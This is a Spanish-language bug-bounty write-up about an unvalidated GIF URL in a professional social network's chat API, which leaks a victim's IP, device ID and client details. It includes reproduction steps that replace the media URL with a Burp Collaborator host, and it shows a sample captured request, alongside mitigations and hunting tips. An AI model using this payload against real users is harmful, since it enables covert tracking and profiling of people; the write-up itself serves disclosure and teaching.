Respuesta rápida
Una red social profesional aceptaba en su API de chat una URL arbitraria como GIF. Cuando la víctima abría el chat, su dispositivo cargaba esa URL y exponía IP, sistema operativo, navegador, modelo de teléfono, zona horaria y device ID al servidor del atacante. Patrón: funcionalidad decorativa que nadie audita.
La API de mensajería
Cada mensaje enviado disparaba una petición HTTP a:
POST /voyager/api/voyagerMessagingDashMessengerMessages?action=createMessage
El cuerpo de la petición varía según el tipo de contenido (texto, adjuntos, GIFs). Cada uno con su propia estructura JSON. Y dentro de la estructura de los GIFs estaba el problema.
El error de diseño
Cuando se envía un GIF, la URL del contenido viaja en el parámetro:
message.renderContentUnions.externalMedia.media.url
La plataforma no validaba esa URL. Sin allowlist de dominios, sin verificación de content-type, nada. Cualquier URL era válida, incluida la de un servidor externo controlado por el atacante.
Al abrir el chat, el dispositivo de la víctima hacía una petición a esa URL para cargar el GIF. En esa petición se filtraban sin ningún tipo de sanitización:
| Dato filtrado | Para qué sirve a un atacante |
|---|---|
| Sistema operativo y versión | Búsqueda de exploits específicos |
| Navegador y versión | Fingerprinting del cliente |
| Dirección IP | Geolocalización de la víctima |
| Modelo de teléfono | Perfil técnico del dispositivo |
| Zona horaria | Patrón de actividad y región |
| Device ID | Identificador único del dispositivo |
En dispositivos iPhone la cantidad de datos filtrados era notablemente mayor que en Android o navegador web.
Técnicamente es un Client-Side Request Forgery + Information Disclosure: se fuerza al dispositivo de la víctima a hacer una petición a un servidor arbitrario, que recibe los metadatos del cliente.
Mirar donde la gente no suele mirar
El vector de este hallazgo fue el teclado de GIFs del chat, una funcionalidad secundaria que nadie audita porque nadie la considera un vector de ataque. Sin embargo, generaba una petición HTTP con un parámetro de URL sin validar.
En programas maduros, aquí es donde hay que buscar: funcionalidades decorativas, integraciones de terceros, features lanzadas rápido. Son las que menos revisión de seguridad reciben.
Reproducción
Paso 1. Cuenta de prueba en la plataforma + Burp Suite interceptando el tráfico.
Paso 2. Seleccionar un GIF en el chat y capturar la petición:
POST /voyager/api/voyagerMessagingDashMessengerMessages?action=createMessage
{
"message": {
"renderContentUnions": [{
"externalMedia": {
"media": {
"url": "https://media.giphy.com/media/xxxxx/giphy.gif"
}
}
}]
}
}
Paso 3. Reemplazar el valor de url con la URL de Burp Collaborator:
"url": "https://tusubdominio.burpcollaborator.net"
Paso 4. Cuando la víctima abra el chat, Collaborator registra la petición entrante:
Incoming request from: 185.34.XXX.XXX
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15...
X-Forwarded-For: 185.34.XXX.XXX
X-Device-ID: ab3f9c...
Root cause
La plataforma no tenía ninguna de las mitigaciones estándar para este tipo de flujo:
- Allowlist de dominios (
giphy.com,tenor.com...). - Validación de content-type antes de pasar la URL al cliente.
- Proxy de imágenes — la solución más robusta: el servidor descarga el contenido y lo reenvía, sin que el cliente contacte directamente ninguna URL externa (Slack, X y WhatsApp Web lo implementan así).
Takeaways
- Cualquier parámetro con una URL es candidato:
url,src,media,redirect,image. Si viaja sin validar, es un vector. - Auditar funcionalidades secundarias (GIFs, stickers, reacciones, encuestas): cada una genera peticiones HTTP propias que casi nadie revisa.
- Information Disclosure se subestima. IP + SO + Device ID de un usuario concreto tiene un valor de reconocimiento alto, especialmente en ataques dirigidos.
- En programas maduros, los bugs están en los flujos que se implementaron rápido sin pasar por revisión de seguridad.
Labs relacionados
Practica abuso de URLs en endpoints de mensajería y caza de Information Disclosure: labs de Information Disclosure.
Practica esto en un lab
Information Disclosure
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
API keys expuestas en HTML público — $2.000 sin un solo bypass
Una plataforma de productividad entregaba un token de un CMS de terceros en window.CONFIG. Cualquiera con DevTools podía descargar templates de pago. Cómo cazar este patrón en cualquier app SPA.
CSRF (Cross-Site Request Forgery) — explicado completo con bypasses
CSRF: cómo se explota, defensas comunes (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) y dónde buscarlo en cualquier app.
OAuth attacks — state CSRF, redirect_uri bypass, code/token leakage
El state parameter ausente, redirect_uri mal validado, response_type confusion. Cómo robar OAuth tokens y forzar account linking.